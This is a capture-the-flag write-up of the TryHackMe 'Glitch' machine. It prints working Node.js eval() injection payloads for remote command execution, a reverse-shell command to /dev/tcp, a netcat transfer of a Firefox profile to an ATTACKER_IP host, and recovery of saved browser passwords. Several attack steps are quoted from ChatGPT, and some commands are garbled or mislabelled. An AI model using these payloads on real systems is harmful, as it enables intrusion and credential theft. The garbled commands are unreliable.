

THM WRITEUPS

Name: Glitch

Type: Machine

Difficulty: Easy

Description:

A challenge showcasing a simple web app and privilege escalation. Can you find the Glitch?

Recon:

We do our basic port scan for Service Versions and OS against the given target:

```
m15t@neblina: ~/GlitchTHM
(m15t@neblina)-[~/GlitchTHM]
$ cat scan.txt
(m15t@neblina)-[~/GlitchTHM]
$ nmap -sCV -A glitch.thm
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-26 03:44 CDT
Nmap scan report for glitch.thm (10.10.130.223)
Host is up (0.29s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT      STATE SERVICE VERSION
80/tcp    open  http    nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: not allowed
```

We don't find much with our scan just that there's something running on port 80.

We go ahead and navigate to this the http page running and we find a blank static page with nothing to work with.

So went and checked the source code of the page. You can press Ctrl+U on your keyboard or you use curl like I did bellow.

```
(m15t@neblina)-[~/GlitchTHM]
$ curl 10.10.237.70 -i
HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Date: Thu, 27 Mar 2025 11:24:42 GMT
Content-Type: text/html; charset=utf-8
```

We look at the source code and we find some interesting section in the code:

```
<script>
  function getAccess() {
    fetch('/api/access')
      .then((response) => response.json())
      .then((response) => {
        console.log(response);
      });
  }
</script>
```

This code has a function `getAccess()` which is making a fetch request to `api/access` and returns a json message.

Now that we have the real glitch.thm we can try and fuzz the /api directory.

```
m15t@
(m15t@neblina)-[~/GlitchTHM]
$ gobuster dir -u http://glitch.thm/api -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 40

=====
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
=====
[+] Url: http://glitch.thm/api
[+] Method: GET
[+] Threads: 40
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
=====
Starting gobuster in directory enumeration mode
=====
/access (Status: 200) [Size: 36]
/items (Status: 200) [Size: 169]
Progress: 5299 / 220561 (2.40%)
```

When we check both access and items we find that;

- Access is the route that shows the token
- Items shows us the list of the 7 deadly sins and errors in json

```
JSON Raw Data Headers
Save Copy Collapse All Expand All Filter JSON
▼ sins:
  0: "lust"
  1: "gluttony"
  2: "greed"
  3: "sloth"
  4: "wrath"
  5: "envy"
  6: "pride"
▼ errors:
  0: "error"
  1: "error"
  2: "error"
  3: "error"
  4: "error"
  5: "error"
  6: "error"
  7: "error"
  8: "error"
▼ deaths:
  0: "death"
```

At this point I got stuck. Then I found a hint from the creator of the box that said;

“What other methods does API accept”

So I tried using curl OPTIONS command against the target and it responded with GET and HEAD but turns out I forgot that /api has two paths (access & items). So I tried a post request on /api/items and here's the response it gave:

```
m15t@neblina: ~/GlitchTHM
(m15t@neblina) - [~/GlitchTHM]
$ curl -X POST http://glitch.thm/api/items
{"message": "there_is_a_glitch_in_the_matrix"}
```

At this point I tried to look for potential LFI by;

<http://glitch.thm/api/items/../../../../etc/passwd>

<http://glitch.thm/api/items?file=../../../../etc/passwd>

I went and searched the internet for POCs on FUZZING to see what extent FUZZING can go then I found this Github repo:

- <https://github.com/ffuf/ffuf.git>

We use a command similar to this one:

POST data fuzzing

This is a very straightforward operation, again by using the `FUZZ` keyword. This example is fuzzing only part of the POST request. We're again filtering out the 401 responses.

```
ffuf -w /path/to/postdata.txt -X POST -d "username=admin&password=FUZZ" -u https://target/login.php -f
```

- The error message shows `eval` at `router.post (/var/web/routes/api.js:25:60)`, indicating that the API is using JavaScript's `eval()` function on user-supplied input.

3. Possible Exploitation: JavaScript Code Execution

- Since `eval()` is being used, you might be able to execute arbitrary JavaScript rather than system commands.

Enumeration:

So for the next step is I pasted this error on ChatGPT and chat really proved useful:

Potential Exploit Paths

1. JavaScript Code Execution

If `eval()` is processing the `cmd` parameter, you can try:

```
bash
curl -X POST "http://glitch.thm/api/items?cmd=console.log('Exploited')"
```

If this works, check for further code execution:

```
bash
curl -X POST "http://glitch.thm/api/items?cmd=global.process.mainModule.require('child_process').execSync('id')"
```

This attempts to execute the `id` command using `child_process.execSync()`.

2. Bypassing Filters with JSON Payload

If the server accepts JSON input, you could try:

```
bash
curl -X POST "http://glitch.thm/api/items" -H "Content-Type: application/json" -d '{"cmd": "global.process.mainModule.require('child_process').execSync('id')"}'
```

3. Checking for Alternative Execution Methods

- Try executing `object.keys(global)`, `this.constructor.constructor('return process')().mainModule.require('child_process').execSync('id').toString()` to see if `Function()` can be abused.
- If `console.log()` works, you can escalate by executing shell commands via `require('child_process').execSync('whoami').toString()`.

And chat was right about what I explained above so we get the command and edit it to our preference like below and we view the /etc/passwd:

```
(m15t@neblina)-[~/GlitchTHM]
$ curl -X POST "http://glitch.thm/api/items?cmd=global.process.mainModule.require('child_process').execSync('cat /etc/passwd').toString()"

vulnerability_exploited root:x:0:0:root:/root:/bin/bash

user:x:1000:1000:user:/home/user:/bin/bash
void:x:1001:1001:,,,:/home/void:/bin/bash
```

Lets go ahead and view the first flag which is in the user.txt file of the users home directory like below:

```
(m15t@neblina)-[~/GlitchTHM]
$ curl -X POST "http://glitch.thm/api/items?cmd=global.process.mainModule.require('child_process').execSync('cat /home/user/user.txt').toString()"

vulnerability_exploited THM{i_d[REDACTED]}
```

I tried to view the /etc/shadow just incase its viewable so we can get passwords or hashes and usernames from it but we got a permission denied.

So next I tried to get a reverse shell and successfully got it like shown below:

```
m15t@neblina: ~/GlitchTHM
$ curl -X POST "http://glitch.thm/api/items?cmd=require('child_process').execSync('bash+cx \"bash+1x326+/dev/tcp/10.8.9.149/10000x3261'\').toString()'"
```

Connect:

```
m15t@neblina: ~/GlitchTHM
$ 100
listening on [any] 100 ...
connect to [10.8.9.149] from (UNKNOWN) [10.10.250.160] 53560
bash: cannot set terminal process group (1287): Inappropriate ioctl for device
bash: no job control in this shell
user@ubuntu:/var/web$
```

Privilege Escalation:

So we check what go to the users home directory with the command “cd” and list the files within it and we find a couple of files.

```
m15t@neblina: ~/GlitchTHM
user@ubuntu:~$ ls -lah
total 48K
drwxr-xr-x  8 user user 4.0K Jan 27  2021 .
drwxr-xr-x  4 root root 4.0K Jan 15  2021 ..
lrwxrwxrwx  1 root root   9 Jan 21  2021 .bash_history -> /dev/null
-rw-r--r--  1 user user 3.7K Apr  4  2018 .bashrc
drwx-----  2 user user 4.0K Jan  4  2021 .cache
drwxrwxrwx  4 user user 4.0K Jan 27  2021 .config
drwx-----  3 user user 4.0K Jan  4  2021 .gnupg
drwxr-xr-x 270 user user 12K Jan  4  2021 .npm
drwxrwxr-x  5 user user 4.0K Mar 29 16:48 .pm2
drwx-----  2 user user 4.0K Jan 21  2021 .ssh
-rw-rw-r--  1 user user  22 Jan  4  2021 user.txt
user@ubuntu:~$
```

You can look around for database hashes and ssh creds etc

After all the snooping I found that the Firefox directory has a profiles.in containing passwords and usernames so the next step was to get the directory to our machine so we can decrypt the passwords. We ask chat to guide us through the process because I tried using a python server and failed.

1. On the Attacker Machine (Sending Side)

Compress the directory (`dir_name`) into a tar archive and send it over Netcat:

```
bash
```

[Copy](#)[Edit](#)

```
tar -cf - dir_name | nc -lvp 9001
```

- `tar -cf - dir_name` → Creates a tar archive and writes it to standard output.
- `nc -lvp 9001` → Starts Netcat in listening mode on port 9001.

2. On the Victim Machine (Receiving Side)

Run this command to receive and extract the directory:

```
bash
```

[Copy](#)[Edit](#)

```
nc ATTACKER_IP 9001 | tar -xf -
```

- `nc ATTACKER_IP 9001` → Connects to the attacker's Netcat listener.
- `tar -xf -` → Extracts the received tar archive.

Wait for the file to be fully transferred, might seem as though its taking time, just open another terminal to see if the profiles.in has been transferred and cancel the process

Now to decrypt the passwords I found this POC (Proof of Concept) that guides us through the process with the use of a python script:

- https://github.com/unode/firefox_decrypt.git

```
m15t@neblina: ~/GlitchTHM
(m15t@neblina)-[~/GlitchTHM]
$ python /home/m15t/GlitchTHM/firefox_decrypt/firefox_decrypt.py /home/m15t/GlitchTHM/
Select the Mozilla profile you wish to decrypt
1 -> hknqkrn7.default
2 -> b5w4643p.default-release
2

Website: https://glitch.thm
Username: 'v0id'
Password: '_____'
```

Now we switch into the 'v0id' user and begin the Privilege Escalation:

```
void@ubuntu:/$ sudo -l
[sudo] password for void:
Sorry, user void may not run sudo on ubuntu.
```

As shown above we cant run sudo on this machine as a low level user so we have to find other ways of finding out what we can run on this machine as both a low level user and root.

We go ahead and ask ChatGPT for help like shown below:

1. Check for SUID Binaries (Programs Running as Root)

SUID (Set User ID) binaries allow a user to execute a file with the privileges of the file owner (often root).

Run:

```
bash
find / -perm -4000 -type f 2>/dev/null
```

or a faster version:

```
bash
find / -perm -u=s -type f 2>/dev/null
```

Common dangerous SUID binaries:

- `/bin/bash` → Root shell if misconfigured.
- `/usr/bin/find` → Can be abused for privilege escalation.
- `/usr/bin/nmap` → Some versions allow interactive shell mode.

So we run the command chat gave us and we find we can run this as all users:

```
m15t@neblina: ~/GlitchTHM

void@ubuntu:/$ find / -perm -u=s -type f 2>/dev/null
/bin/ping
/bin/mount
/bin/fusermount
/bin/umount
/bin/su
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmccrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/snapd/snap-confine
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/bin/at
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/newuidmap
/usr/bin/chsh
/usr/bin/traceroute6.iputils
/usr/bin/pkexec
/usr/bin/newgidmap
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/sudo

void@ubuntu:/$
```

So now lets use this to spawn a shell as root and own this system and get the sensitive flag file:

```
m15t@neblina: ~/GlitchTHM

void@ubuntu:/$ sudo su root /bin/bash
Password:
root@ubuntu:/# cat /root/root.txt
THM{[REDACTED]}
root@ubuntu:/#
```

And that's my process of owning this machine with the use of AI...

Conclusion:

Conclusion of the CTF Machine

This **Linux-based web exploitation and privilege escalation challenge**, involving **Node.js server-side command execution, misconfigured privileges, and potential credential recovery** was interesting and was a decent learning experience.

Breakdown of the machine:

1. Initial Foothold:

Exploiting an **Express.js API endpoint** using `global.process.mainModule.require('child_process').execSync()` to achieve **remote command execution (RCE)**.

Bypassing character restrictions (+ for spaces) to execute a **reverse shell payload**.

2. Post-Exploitation:

Stabilizing the shell using Python (`python3 -c 'import pty; pty.spawn("/bin/bash")'`).

Transferring files via `python3 -m http.server` and **Netcat for directories**.

3. Privilege Escalation:

No sudo access, requiring alternative enumeration techniques.

Checking **SUID binaries** (`find / -perm -4000 -type f`) and **capabilities** (`getcap -r / 2>/dev/null`).

Exploring **cron jobs** or writable root-owned files (`find / -writable -user root -type f`).

Investigating **Firefox credentials** by extracting saved passwords from `logins.json` and `key4.db`.

Final Goal:

- **Abusing a misconfigured SUID binary or cron job.**
- **Recovering credentials from Firefox** or another misconfigured service.

Happy Hacking!!
